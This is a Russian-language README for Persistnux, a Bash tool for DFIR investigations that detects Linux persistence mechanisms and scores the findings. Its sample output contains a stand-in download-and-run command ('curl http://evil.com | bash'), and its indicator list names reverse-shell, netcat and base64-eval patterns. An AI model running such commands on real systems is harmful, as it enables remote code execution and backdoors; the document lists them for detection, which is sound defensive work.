
Persistnux — Updated!
Инструмент обнаружения персистентности в Linux на Bash для расследований DFIR. Сканирует 15+ механизмов персистентности (systemd, cron, модули ядра, SSH, контейнеры) с оценкой достоверности и генерирует CSV/JSONL отчеты для криминалистического анализа.
Persistnux
Комплексный инструмент обнаружения механизмов сохранения доступа (persistence) в Linux для расследований в области цифровой криминалистики и реагирования на инциденты (DFIR).
Обзор
Persistnux — это инструмент на Bash, предназначенный для выявления известных механизмов сохранения доступа в Linux, используемых злоумышленниками для поддержания контроля над скомпрометированными системами. Он выполняет всесторонние проверки системы и генерирует подробные отчёты в форматах CSV и JSONL для дальнейшего анализа.
Возможности
- Всестороннее обнаружение: охватывает все основные механизмы сохранения доступа в Linux
- Анализ на работающей системе: запускается непосредственно на живых системах с минимальными зависимостями
- Подробные отчёты: создаёт отчёты в форматах CSV и JSONL, содержащие хеши файлов, метаданные и оценки надёжности
- Работа от root и обычного пользователя: работает как с привилегиями root, так и без них (с ограниченной областью проверки для обычных пользователей)
- Готовность для DFIR: форматы вывода совместимы с распространёнными инструментами и рабочими процессами DFIR
- Оценка подозрительности: автоматическое присвоение уровня доверия (LOW, MEDIUM, HIGH, CRITICAL) на основе выявленных индикаторов
- Снижение ложных срабатываний: интеграция с менеджером пакетов и белый список известных корректных служб
- Анализ на основе времени: недавно изменённые файлы получают более высокий уровень доверия
- Поиск по шаблонам: обнаруживает обратные оболочки, шаблоны «скачать-и-выполнить», техники обфускации
Обнаруживаемые механизмы сохранения доступа
1. Systemd-службы
- Файлы служб (
.service) в/etc/systemd/system,/lib/systemd/system,/usr/lib/systemd/system - Пользовательские службы systemd
- Отсеивает отключённые службы и службы без ExecStart
- Обнаруживает подозрительные команды ExecStart
- Проверяет целостность исполняемых файлов/скриптов через менеджер пакетов
2. Задачи Cron и планировщики
- Системные crontab (
/etc/crontab,/etc/cron.d/*) - Каталоги периодического выполнения (
/etc/cron.{daily,hourly,weekly,monthly}) - Пользовательские crontab для всех пользователей (режим root)
- Задачи At
- Подозрительные шаблоны команд в запланированных задачах
- Файлы ACL
/etc/cron.allowи/etc/cron.deny— записи, ссылающиеся на несуществующих пользователей, помечаются
3. Профили оболочки и RC-файлы
- Системные профили (
/etc/profile,/etc/bash.bashrc,/etc/zshrc) - Скрипты Profile.d (
/etc/profile.d/*) - Пользовательские профили (
.bashrc,.bash_profile,.zshrc,.profileи т. д.) - Конфигурации Fish shell
- Обнаруживает вредоносные команды в файлах профилей
4. Init-скрипты и RC.local
/etc/rc.localи его варианты- Init-скрипты SysV (
/etc/init.d) - Скрипты уровней выполнения (
/etc/rc*.d) - Обнаруживает подозрительные команды скачивания/выполнения
5. Модули ядра и предзагрузка библиотек
- Настройки LD_PRELOAD (
/etc/ld.so.preload) — каждая указанная библиотека проверяется через менеджер пакетов - Конфигурации динамического компоновщика (
/etc/ld.so.conf,/etc/ld.so.conf.d/) — проверка целостности conf-файлов и сканирование.so-файлов в нестандартных путях /etc/environmentLD_PRELOAD/LD_LIBRARY_PATH — помечается как HIGH; указанные пути библиотек проверяются (неуправляемые/изменённые → CRITICAL)- Параметры модулей ядра (
/etc/modprobe.d/,/etc/modprobe.conf) — целостность файлов; анализ директивinstallна предмет подозрительных целей команд;blacklistмодулей безопасности (apparmor, selinux, seccomp) помечается как HIGH - Конфигурации автозагрузки модулей ядра (
/etc/modules,/etc/modules-load.d/) — целостность конфигураций; имена модулей разрешаются в.ko-файлы черезmodinfoи проверяются - Загруженные модули ядра (
lsmod) — перечисление и проверка целостности
6. Дополнительные механизмы
- Записи автозапуска XDG (
.config/autostart,/etc/xdg/autostart) — при работе от root сканируются все домашние каталоги пользователей - Системные файлы окружения (
/etc/environment) — проверка путей библиотек LD_PRELOAD/LD_LIBRARY_PATH - Конфигурации sudoers и дополнительные файлы (
/etc/sudoers,/etc/sudoers.d/) — шаблоны NOPASSWD/ALL → HIGH - PAM (Pluggable Authentication Modules):
- Все модули
.soпроверяются через менеджер пакетов; обрабатываются директивы@include; включается/etc/pam.conf - Анализ скриптов
pam_exec.so— отсутствующие/подозрительные скрипты → CRITICAL - Обнаружение релеев
pam_python.so/pam_perl.so— скрипт извлекается и анализируется - Обнаружение hook-файлов
pam_script.soв/etc/security/ - Целостность конфигурационных файлов — изменённые принадлежащие пакетам конфигурации PAM → CRITICAL
- Проверка библиотек LD_PRELOAD в
pam_env.confи~/.pam_environment - Общее сканирование
/etc/security/
- Все модули
- Скрипты MOTD (
/etc/update-motd.d/) — проверка пакета; изменённые → CRITICAL - Вспомогательные программы Git credential и настройки core.pager — анализ содержимого для всех пользователей
- Web-шеллы в распространённых веб-каталогах
8. Сохранение доступа через SSH
- Пользовательские
~/.ssh/authorized_keys— недавно изменённые ключи помечаются; анализируется содержимое опцииcommand=на предмет подозрительных шаблонов - Пользовательские
~/.ssh/rc— наличие помечается как MEDIUM; подозрительное содержимое/обратная оболочка → HIGH/CRITICAL
9. Перехват бинарных файлов (Binary Hijacking)
- Проверка установленных системных бинарных файлов по базе пакетов (
dpkg -Vна Debian/Ubuntu,rpm -Vaна RHEL/CentOS) - Изменённые файлы в
/usr/bin,/usr/sbin,/bin,/sbin→ CRITICAL - Изменённые модули PAM в
/lib/security→ CRITICAL - Conffiles (конфигурационные файлы dpkg) исключаются для снижения ложных срабатываний
10. Загрузчик и Initramfs
- Инъекция параметра ядра
init=в GRUB (/etc/default/grub,/etc/default/grub.d/*.cfg) - Init-скрипты на корневом уровне в
/ - Initramfs-модули Dracut с хуками
pre-pivot, записывающими в/sysroot/etc/shadow - Hook-скрипты Ubuntu initramfs-tools в
/etc/initramfs-tools/scripts/и/hooks/ - Недавно изменённые образы
/boot/initrd.img-*(по mtime)
11. Манипуляции Polkit (PolicyKit)
- Файлы
.pklaс безусловнымиResultAny/ResultInactive/ResultActive=yes - Предоставление прав с подстановочным идентификатором (
unix-user:*) - Файлы
.rulesс безусловнымpolkit.Result.YES(Polkit на JavaScript, версия >= 0.106)
12. D-Bus и NetworkManager
- Регистрация вредоносных системных служб D-Bus через
Exec=(/usr/share/dbus-1/system-services/) - Подстановочные директивы политик D-Bus
allow own="*"илиsend_destination="*" - Скрипты диспетчера NetworkManager (
/etc/NetworkManager/dispatcher.d/)
13. Правила Udev
- Директивы Udev
RUN+=, выполняющие произвольные команды или скрипты (/etc/udev/rules.d/,/lib/udev/rules.d/) - Правила, внедрённые во время выполнения в
/run/udev/rules.d/ - Шаблоны делегирования
at/cronвRUN+=(распространённый обход ограничений на выполнение в фоновом режиме)
14. Побег из контейнера
- Привилегированные Docker-контейнеры (
--privileged,--pid=host) - Монтирование
docker.sockвнутрь контейнеров (полный контроль над хостом через Docker API) nsenter -t 1в точках входа контейнеров или Dockerfile- Dockerfile в каталогах, доступных для записи пользователями, содержащие техники побега
15. Расширенные проверки бинарных файлов и привилегий
- Сканирование активных SUID/SGID-файлов по системным каталогам
- Сканирование файловых возможностей через
getcap—cap_setuid+epна GTFOBins → CRITICAL - Перехват бинарных файлов: переименованные оригиналы (
.original,.old,.bak,.real) с скриптами-обёртками - Учётные записи без root с UID 0 в
/etc/passwd - Маскировка оболочки с помощью завершающего пробела в поле оболочки
/etc/passwd - Системные учётные записи (UID 1-999) с файлами
authorized_keysSSH
Установка
# Клонирование репозитория
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Сделать скрипт исполняемым
chmod +x persistnux.sh
Использование
Базовое использование (анализ на работающей системе)
# Запуск с настройками по умолчанию (показываются только подозрительные находки)
sudo ./persistnux.sh
# Показать справку и все опции
./persistnux.sh --help
# Запуск от обычного пользователя (ограниченная область)
./persistnux.sh
Опции фильтрации (v2.4+)
По умолчанию Persistnux показывает только подозрительные находки (уровни MEDIUM, HIGH, CRITICAL), чтобы уменьшить шум и сосредоточиться на действенных угрозах.
# По умолчанию: показывать только подозрительные находки
sudo ./persistnux.sh
# Показывать все находки, включая базовые (уровень LOW)
sudo ./persistnux.sh --all
# ИЛИ
sudo FILTER_MODE=all ./persistnux.sh
# Показывать только находки с уровнями HIGH и CRITICAL
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Комбинирование фильтров: только HIGH
sudo ./persistnux.sh --min-confidence HIGH
Пользовательский каталог вывода
# Указать собственный каталог вывода
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Комбинировать с фильтрацией
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
Выходные файлы
По умолчанию Persistnux создаёт каталог вывода ./persistnux_output/, содержащий:
persistnux_<hostname>_<timestamp>.csv— отчёт в формате CSVpersistnux_<hostname>_<timestamp>.jsonl— отчёт в формате JSONL (по одному объекту JSON в строке)persistnux_<hostname>_<timestamp>_report.txt— читаемый сводный отчёт с количеством находок и метаданными сканирования
Формат вывода
Формат CSV
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
Формат JSONL
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
Ключевые поля вывода
- matched_pattern: шаблон обнаружения, вызвавший находку (например,
suspicious_script_content,modified_package,unmanaged_binary) - matched_string: фактическое подозрительное содержимое (вся строка, а не просто ключевое слово)
Оценка надёжности (Confidence Scoring)
Persistnux использует интеллектуальную оценку надёжности для снижения ложных срабатываний:
- LOW: стандартная системная конфигурация, низкая подозрительность (часто файлы, управляемые пакетным менеджером)
- MEDIUM: потенциально подозрительно, но может быть легитимным
- HIGH: обнаружены подозрительные шаблоны (например, curl/wget в cron, выполнение из /tmp, обратные оболочки)
- CRITICAL: неопровержимые доказательства взлома — сбой проверки целостности пакета, SUID/SGID на подозрительном файле, аномалия модуля PAM, генератор systemd в эфемерной папке или встроенный код интерпретатора с высокоэнтропийной полезной нагрузкой
Снижение ложных срабатываний (v1.2+)
Persistnux теперь включает несколько функций для снижения ложных срабатываний:
- Интеграция с менеджером пакетов: файлы, управляемые
dpkg(Debian/Ubuntu) илиrpm(RedHat/CentOS), получают более низкие оценки надёжности - Белый список известных корректных служб: стандартные службы вендоров (systemd-, dbus-, snap.* и т. д.) автоматически пропускаются
- Оценка на основе времени: недавно изменённые файлы (<7 дней) получают более высокие оценки надёжности
- Контекстно-зависимый анализ: комбинирует несколько индикаторов для более точного обнаружения
Подозрительные индикаторы
Persistnux автоматически помечает элементы с повышенной оценкой надёжности при обнаружении:
Сетевые шаблоны
- Обратные оболочки:
bash -i >& /dev/tcp/,sh -i >& /dev/udp/ - Сетевые утилиты:
nc,netcat,socat,telnet - Сокетные операции в языках сценариев:
python -c 'import socket'
Шаблоны скачивания и выполнения
- Инструменты скачивания:
curl | bash,wget | sh - Скачивание с выполнением:
curl URL -o /tmp/file && chmod +x
Техники обфускации
- Кодирование:
base64 -d | bash,eval $(echo BASE64) - Динамическое выполнение:
eval,exec
Подозрительные местоположения
- Временные каталоги:
/tmp,/dev/shm,/var/tmp - Скрытые каталоги и файлы
Манипуляции с правами доступа
- Сделать файлы исполняемыми:
chmod +x,chmod 777 - Манипуляции с SUID-битом:
chmod u+s
Требования
- Bash 4.0+
- Стандартные утилиты Unix:
find,grep,stat,sha256sum,awk,file - Опционально:
systemctl,lsmod,modinfo,getcap,dpkg/rpm(для определённых проверок) - Нет зависимости от интерпретаторов (чистый bash + coreutils;
python/jqне требуются) - Рекомендуется доступ root/sudo для всестороннего анализа
Тестирование / Совместимость
| Дистрибутив | Статус | Примечания |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ Протестирован | Основная платформа разработки и тестирования |
| Ubuntu 20.04 LTS | ✅ Протестирован | Полная поддержка |
| Debian 11/12 | ✅ Протестирован | Основан на dpkg, те же соглашения о путях |
| Kali Linux (rolling) | ✅ Протестирован | Использовался для бенчмарка PANIX (см. ниже) |
| RedHat / RHEL | ⚠️ Не тестировался | Поддержка rpm реализована, но не проверена на живых системах |
| Fedora | ⚠️ Не тестировался | Поддержка rpm реализована, но не проверена на живых системах |
| CentOS / AlmaLinux / Rocky | ⚠️ Не тестировался | Поддержка rpm реализована, но не проверена на живых системах |
Примечание: Инструмент в основном протестирован на системах Ubuntu/Debian. RedHat, Fedora и RPM-дистрибутивы имеют реализованную поддержку менеджера пакетов в коде, но не были проверены в реальных тестовых средах. Приветствуются вклады и отчёты о тестировании для RPM-дистрибутивов.
Тестирование / Бенчмарк
Persistnux сравнивается с PANIX,
который устанавливает те же механизмы сохранения доступа, которые ищет
Persistnux. Повторяемый тестовый стенд в
tests/panix_benchmark.sh применяет каждую
технику PANIX, запускает Persistnux и подтверждает обнаружение через
базовое сравнение. Каждый файловый метод PANIX, применимый на тестовой
машине, обнаруживается с уровнем MEDIUM и выше. См. полную таблицу
покрытия и методологию в PANIX_BENCHMARK.md.
⚠️ Бенчмарк устанавливает реальные бэкдоры — запускайте его только в изолированной виртуальной машине.
Планы развития
- Режим автономного анализа для образов криминалистических дисков
- Интеграция с коллекцией UAC (Unix-like Artifacts Collector)
- Расширение бенчмарка PANIX на векторы загрузчика/initramfs/LKM на полноценной ВМ
Ресурсы
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
Вклад в проект
Вклад приветствуется! Пожалуйста, отправляйте pull request или открывайте issues для:
- Обнаружения новых механизмов сохранения доступа
- Исправления ошибок
- Улучшения документации
- Оптимизации производительности
- Дополнительных форматов вывода
Лицензия
Лицензия MIT — подробнее см. в файле LICENSE.
Благодарности
Разработано для сообщества DFIR для помощи в реагировании на инциденты и криминалистических расследованиях в Linux.
Отказ от ответственности
Этот инструмент предназначен только для авторизованного тестирования безопасности, реагирования на инциденты и криминалистического анализа. Пользователи обязаны убедиться, что у них есть соответствующие разрешения перед запуском этого инструмента на любой системе.
Контакты
По вопросам, проблемам или предложениям используйте трекер issues на GitHub.